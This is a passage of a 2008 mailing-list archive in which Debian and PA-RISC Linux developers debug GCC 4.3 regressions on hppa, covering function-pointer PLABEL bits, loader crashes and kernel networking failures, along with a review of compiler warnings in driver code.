	linux-parisc@vger.kernel.org, aurel32@debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 13:38:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeUtZ-0003yI-DD
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 13:38:21 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753995AbYCZMhn (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Mar 2008 08:37:43 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1756151AbYCZMhn
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Mar 2008 08:37:43 -0400
Original-Received: from palinux.external.hp.com ([192.25.206.14]:60184 "EHLO
	mail.parisc-linux.org" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753995AbYCZMhm (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Mar 2008 08:37:42 -0400
Original-Received: by mail.parisc-linux.org (Postfix, from userid 26919)
	id E8ABC494006; Wed, 26 Mar 2008 06:37:41 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080326032001.357B74E7F@hiauly1.hia.nrc.ca>
User-Agent: Mutt/1.5.13 (2006-08-11)
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:244
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/244>

On Tue, Mar 25, 2008 at 11:20:00PM -0400, John David Anglin wrote:
> This definitely needs a PR.  It should be marked as a regression.
> This probably also breaks the unwind code in libjava as it has a
> similar check.  There's also __canonicalize_funcptr_for_compare.
> 
> It's something of a puzzle as to why this didn't appear in testing.
> It suggests we aren't testing the build libraries but installed libraries.

I thought Mozilla also used the low bits of pointers for special cases
... and the kernel even has macros to return 'either a pointer or an
error code' (PTR_ERR, ERR_PTR, IS_ERR).  Although the kernel probably
wouldn't trip this, as I can't think of any function which returns a
function-pointer-or-error (and besides the test isn't 'are the bottom
bits set', but 'if you cast this pointer back to an unsigned long, is it
greater than -4095'.

-- 
Intel are signing my paycheques ... these opinions are still mine
"Bill, look, we understand that you're interested in selling us this
operating system, but compare it to ours.  We can't possibly take such
a retrograde step."
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Wed, 26 Mar 2008 10:20:35 -0600
Lines: 36
Approved: news@gmane.org
Message-ID: <20080326162035.GB24944@colo.lackof.org>
References: <18405.27903.317733.531002@gargle.gargle.HOWL> <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com> <47E583EA.7000006@aurel32.net> <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1206548555 14107 80.91.229.12 (26 Mar 2008 16:22:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 16:22:35 +0000 (UTC)
Cc: Aurelien Jarno <aurelien@aurel32.net>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: Carlos O'Donell <carlos@systemhalted.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 17:23:05 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeYNS-0000C0-At
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 17:21:26 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753722AbYCZQUs (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Mar 2008 12:20:48 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753571AbYCZQUs
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Mar 2008 12:20:48 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60131 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753325AbYCZQUr (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Mar 2008 12:20:47 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 4910D3F8A9F;
	Wed, 26 Mar 2008 10:20:46 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26692-06; Wed, 26 Mar 2008 10:20:35 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id D19803F89C4; Wed, 26 Mar 2008 10:20:35 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:245 gmane.linux.debian.ports.hppa:5157 gmane.linux.debian.devel.gcc:27650 gmane.linux.debian.devel.release:19879
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/245>

On Tue, Mar 25, 2008 at 06:42:44PM -0400, Carlos O'Donell wrote:
> On Sat, Mar 22, 2008 at 6:10 PM, Aurelien Jarno <aurelien@aurel32.net> wrote:
> >  I have tried to build the glibc with GCC 4.3 on hppa, and rpcgen
> >  segfaults when it is used, so the build fails. I haven't start to
> >  investigate the problem (I started by the architectures where the
> >  problems were minor).
> 
> I switched from gcc-4_2-branch to gcc-4_3-branch and I see the loader
> gets a SIGTRAP, not a SIGSEGV. I'll try to debug this.


Another gcc problem report:

That past weekend I built the latest parisc-2.6-25-rc6 kernel from
Kyle's tree using gcc-4.1, gcc-4.2, and gcc-4.3. All three kernels
booted but the networking only worked for gcc-4.1 kernel.

When sending ICMP (ping) messages, the "ifconfig eth0" output on the
parisc machine was reporting RX and TX packets at the expected rate
(1 per second).  But the source host (omnibook 500 laptop) only rarely
saw the ICMP reply. Maybe 1 out of 30 or 50 ICMP.  My guess is the
IP layer is racing with DMA and the packet is mangled in some subtle way.
Both gcc-4.2 and gcc-4.3 showed the same symptom.

I just realized it's possible the 100BT switch is dropping the packets.
I'll try to capture a tcpdump from the omnibook 500 side using a
crossover cable tonight or tomorrow since without that, I don't see
how this can be debugged.

thanks,
grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Wed, 26 Mar 2008 10:46:12 -0600
Lines: 16
Approved: news@gmane.org
Message-ID: <20080326164612.GC24944@colo.lackof.org>
References: <18405.27903.317733.531002@gargle.gargle.HOWL> <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com> <47E583EA.7000006@aurel32.net> <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com> <20080326162035.GB24944@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1206550067 20934 80.91.229.12 (26 Mar 2008 16:47:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 16:47:47 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 17:48:09 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeYmE-0003Hf-51
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 17:47:02 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754049AbYCZQqZ (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Mar 2008 12:46:25 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755284AbYCZQqZ
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Mar 2008 12:46:25 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:60595 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1754049AbYCZQqY (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Mar 2008 12:46:24 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 2583B3F8B9D;
	Wed, 26 Mar 2008 10:46:23 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 29585-03; Wed, 26 Mar 2008 10:46:12 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CCD213F89C4; Wed, 26 Mar 2008 10:46:12 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080326162035.GB24944@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:246 gmane.linux.debian.ports.hppa:5158 gmane.linux.debian.devel.gcc:27651 gmane.linux.debian.devel.release:19880
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/246>

On Wed, Mar 26, 2008 at 10:20:35AM -0600, Grant Grundler wrote:
> Another gcc problem report:
> 
> That past weekend I built the latest parisc-2.6-25-rc6 kernel from
> Kyle's tree using gcc-4.1, gcc-4.2, and gcc-4.3. All three kernels
> booted but the networking only worked for gcc-4.1 kernel.

Sorry, I just realized I didn't mention the gcc versions are whatever is
currently in "Debian testing" for parisc.

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: GCC 4.3 and PLABEL32 issues.
Date: Wed, 26 Mar 2008 14:14:16 -0400 (EDT)
Lines: 27
Approved: news@gmane.org
Message-ID: <20080326181417.7D8254F00@hiauly1.hia.nrc.ca>
References: <20080326123741.GH16721@parisc-linux.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206555332 9726 80.91.229.12 (26 Mar 2008 18:15:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 18:15:32 +0000 (UTC)
Cc: carlos@systemhalted.org, dave.anglin@nrc.ca,
	linux-parisc@vger.kernel.org, aurel32@debian.org
To: matthew@wil.cx (Matthew Wilcox)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 19:16:02 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jea9K-0001Yt-0V
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 19:14:58 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1754788AbYCZSOU (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Mar 2008 14:14:20 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1755051AbYCZSOU
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Mar 2008 14:14:20 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4392 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1754788AbYCZSOT (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Mar 2008 14:14:19 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 7D8254F00; Wed, 26 Mar 2008 14:14:16 -0400 (EDT)
In-Reply-To: <20080326123741.GH16721@parisc-linux.org> from "Matthew Wilcox" at Mar 26, 2008 06:37:41 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:247
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/247>

> I thought Mozilla also used the low bits of pointers for special cases

Effectively, all code that has to deal with the underlying details
of the function pointer implementation is affected.  This includes
unwind code, and code to dynamically load libraries and plugins.

> ... and the kernel even has macros to return 'either a pointer or an
> error code' (PTR_ERR, ERR_PTR, IS_ERR).  Although the kernel probably
> wouldn't trip this, as I can't think of any function which returns a
> function-pointer-or-error (and besides the test isn't 'are the bottom
> bits set', but 'if you cast this pointer back to an unsigned long, is it
> greater than -4095'.

The PLABEL bit is defined in the runtime and only affects the runtime.
I think the only time the kernel would need to care about this is for
signal handlers.  In the runtime, page 0 is reserved to catch invalid
pointer accesses.  I'm sure the kernel has to be aware of this.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:09 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Wed, 26 Mar 2008 14:35:07 -0400 (EDT)
Lines: 24
Approved: news@gmane.org
Message-ID: <20080326183508.563B34F29@hiauly1.hia.nrc.ca>
References: <20080326164612.GC24944@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1206556595 15220 80.91.229.12 (26 Mar 2008 18:36:35 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Wed, 26 Mar 2008 18:36:35 +0000 (UTC)
Cc: grundler@parisc-linux.org, carlos@systemhalted.org,
	aurelien@aurel32.net, doko@cs.tu-berlin.de,
	linux-parisc@vger.kernel.org, debian-hppa@lists.debian.org,
	debian-gcc@lists.debian.org, debian-release@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: linux-parisc-owner@vger.kernel.org Wed Mar 26 19:37:04 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1JeaTW-0002th-4a
	for glpp-linux-parisc@gmane.org; Wed, 26 Mar 2008 19:35:50 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753394AbYCZSfM (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Wed, 26 Mar 2008 14:35:12 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753960AbYCZSfM
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Wed, 26 Mar 2008 14:35:12 -0400
Original-Received: from hiauly1.hia.nrc.ca ([132.246.100.193]:4408 "EHLO
	hiauly1.hia.nrc.ca" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1753394AbYCZSfL (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Wed, 26 Mar 2008 14:35:11 -0400
Original-Received: by hiauly1.hia.nrc.ca (Postfix, from userid 1000)
	id 563B34F29; Wed, 26 Mar 2008 14:35:07 -0400 (EDT)
In-Reply-To: <20080326164612.GC24944@colo.lackof.org> from "Grant Grundler" at Mar 26, 2008 10:46:12 am
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:248 gmane.linux.debian.ports.hppa:5159 gmane.linux.debian.devel.gcc:27654 gmane.linux.debian.devel.release:19882
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/248>

> On Wed, Mar 26, 2008 at 10:20:35AM -0600, Grant Grundler wrote:
> > Another gcc problem report:
> > 
> > That past weekend I built the latest parisc-2.6-25-rc6 kernel from
> > Kyle's tree using gcc-4.1, gcc-4.2, and gcc-4.3. All three kernels
> > booted but the networking only worked for gcc-4.1 kernel.
> 
> Sorry, I just realized I didn't mention the gcc versions are whatever is
> currently in "Debian testing" for parisc.

I would look carefully to see if the newer compilers generate warnings
that need fixing.

I've been using 4.1 for my recent builds.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Thu, 27 Mar 2008 23:56:52 -0600
Lines: 79
Approved: news@gmane.org
Message-ID: <20080328055652.GA24649@colo.lackof.org>
References: <18405.27903.317733.531002@gargle.gargle.HOWL> <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com> <47E583EA.7000006@aurel32.net> <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com> <20080326162035.GB24944@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=unknown-8bit
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1206683848 31487 80.91.229.12 (28 Mar 2008 05:57:28 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Fri, 28 Mar 2008 05:57:28 +0000 (UTC)
Cc: Carlos O'Donell <carlos@systemhalted.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Fri Mar 28 06:57:58 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jf7b7-00049Z-3z
	for glpp-linux-parisc@gmane.org; Fri, 28 Mar 2008 06:57:53 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753190AbYC1F5O convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Fri, 28 Mar 2008 01:57:14 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753191AbYC1F5O
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Fri, 28 Mar 2008 01:57:14 -0400
Original-Received: from colo.lackof.org ([198.49.126.79]:44700 "EHLO colo.lackof.org"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1753190AbYC1F5M (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Fri, 28 Mar 2008 01:57:12 -0400
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 3C5D54F80A1;
	Thu, 27 Mar 2008 23:57:11 -0600 (MDT)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 26664-10; Thu, 27 Mar 2008 23:57:00 -0600 (MDT)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id CF3AB4F8101; Thu, 27 Mar 2008 23:56:52 -0600 (MDT)
Content-Disposition: inline
In-Reply-To: <20080326162035.GB24944@colo.lackof.org>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.16 (2007-06-11)
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:249 gmane.linux.debian.ports.hppa:5162 gmane.linux.debian.devel.gcc:27711 gmane.linux.debian.devel.release:19889
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/249>

On Wed, Mar 26, 2008 at 10:20:35AM -0600, Grant Grundler wrote:
> Another gcc problem report:
>=20
> That past weekend I built the latest parisc-2.6-25-rc6 kernel from
> Kyle's tree using gcc-4.1, gcc-4.2, and gcc-4.3. All three kernels
> booted but the networking only worked for gcc-4.1 kernel.

=46ollowup: gcc-42 is working too now and I'm not sure why.
I upgraded gcc-4.3 package from 4.3.0-rcX to 4.3.1 AND all of it's
dependencies as well.

I looked at gcc-43 build output to check warnings related to networking
as suggest by John David Anglin.

I ignored the couple of warnings in drivers/net/wireless/.

  CC [M]  drivers/net/fealnx.o
drivers/net/fealnx.c:896:2: warning: #warning Processor architecture un=
defined!
    No clue what this driver is for. Ignored.

  CC [M]  drivers/net/lasi_82596.o
drivers/net/lasi_82596.c: In function =E2=80=98lan_init_chip=E2=80=99:
drivers/net/lasi_82596.c:164: warning: format =E2=80=98%lx=E2=80=99 exp=
ects type =E2=80=98long unsigned int=E2=80=99, but argument 3 has type =
=E2=80=98resource_size_t=E2=80=99
drivers/net/lasi_82596.c:169: warning: format =E2=80=98%lx=E2=80=99 exp=
ects type =E2=80=98long unsigned int=E2=80=99, but argument 2 has type =
=E2=80=98resource_size_t=E2=80=99

	That's just printk format strings.

overshot and found this one in drivers/scsi/ interesting too:

drivers/scsi/initio.c:2585: warning: large integer implicitly truncated=
 to unsigned type

matching code is:
        cblk->senselen =3D cpu_to_le32(SENSE_SIZE);

grundler@j6k:~/parisc-2.6-gcc43$ fgrep senselen drivers/scsi/*.h
drivers/scsi/aha1740.h: u8 senselen;            /* Sense Length */
drivers/scsi/initio.h:  u8 senselen;    /*31 Sense Allocation Length */
drivers/scsi/megaraid.h:        u8 reqsenselen;

The code at first glance looks wrong here. Patch submitted to linux-scs=
i
and Alan Cox (who appears to have taken on this driver last year).


Nothing else in the drivers/net.
A bit more in net/ though:
  CC      net/sunrpc/svc.o
net/sunrpc/svc.c: In function =E2=80=98__svc_create_thread=E2=80=99:
net/sunrpc/svc.c:587: warning: =E2=80=98oldmask.bits[0u]=E2=80=99 may b=
e used uninitialized in this function

	Don't care since I'm not using rpc.
	This is probably a false positive anyway. I've found several.

And that was it. So no warnings that seem to be related to this network=
ing problem. It was worth checking though.


> I just realized it's possible the 100BT switch is dropping the packet=
s.
> I'll try to capture a tcpdump from the omnibook 500 side using a
> crossover cable tonight or tomorrow since without that, I don't see
> how this can be debugged.

Still need to try the cross-over cable.

grant
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc"=
 in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:02:10 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: rubisher <rubisher@scarlet.be>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.debian.ports.hppa,gmane.linux.debian.devel.gcc,gmane.linux.debian.devel.release
Subject: Re: [alpha, hppa] GCC-4.3 as the default compilers for lenny?
Date: Sat, 29 Mar 2008 18:24:12 +0000
Lines: 101
Approved: news@gmane.org
Message-ID: <47EE894C.4010004@scarlet.be>
References: <18405.27903.317733.531002@gargle.gargle.HOWL> <119aab440803221402w2bfe5a7le9499e4eb6e0e3c1@mail.gmail.com> <47E583EA.7000006@aurel32.net> <119aab440803251542l4d86ef9bvaf8163e940e1ab35@mail.gmail.com> <20080326162035.GB24944@colo.lackof.org> <20080328055652.GA24649@colo.lackof.org>
NNTP-Posting-Host: lo.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=windows-1252;
	format=flowed
Content-Transfer-Encoding: QUOTED-PRINTABLE
X-Trace: ger.gmane.org 1206815033 29947 80.91.229.12 (29 Mar 2008 18:23:53 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 29 Mar 2008 18:23:53 +0000 (UTC)
Cc: "Carlos O'Donell" <carlos@systemhalted.org>,
	Aurelien Jarno <aurelien@aurel32.net>,
	Matthias Klose <doko@cs.tu-berlin.de>,
	linux-parisc <linux-parisc@vger.kernel.org>,
	debian-hppa@lists.debian.org, debian-gcc@lists.debian.org,
	debian-release@lists.debian.org
To: Grant Grundler <grundler@parisc-linux.org>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Mar 29 19:24:23 2008
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@gmane.org
Original-Received: from vger.kernel.org ([209.132.176.167])
	by lo.gmane.org with esmtp (Exim 4.50)
	id 1Jffj1-0004H5-FM
	for glpp-linux-parisc@gmane.org; Sat, 29 Mar 2008 19:24:19 +0100
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1753406AbYC2SXl convert rfc822-to-quoted-printable (ORCPT
	<rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 29 Mar 2008 14:23:41 -0400
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org id S1753371AbYC2SXl
	(ORCPT <rfc822;linux-parisc-outgoing>);
	Sat, 29 Mar 2008 14:23:41 -0400
Original-Received: from eir.is.scarlet.be ([193.74.71.27]:43195 "EHLO eir.is.scarlet.be"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752429AbYC2SXk (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 29 Mar 2008 14:23:40 -0400
Original-Received: from [213.49.85.163] (ip-213-49-85-163.dsl.scarlet.be [213.49.85.163])
	(authenticated bits=0)
	by eir.is.scarlet.be (8.14.2/8.14.2) with ESMTP id m2TIM0FJ019653;
	Sat, 29 Mar 2008 19:22:01 +0100
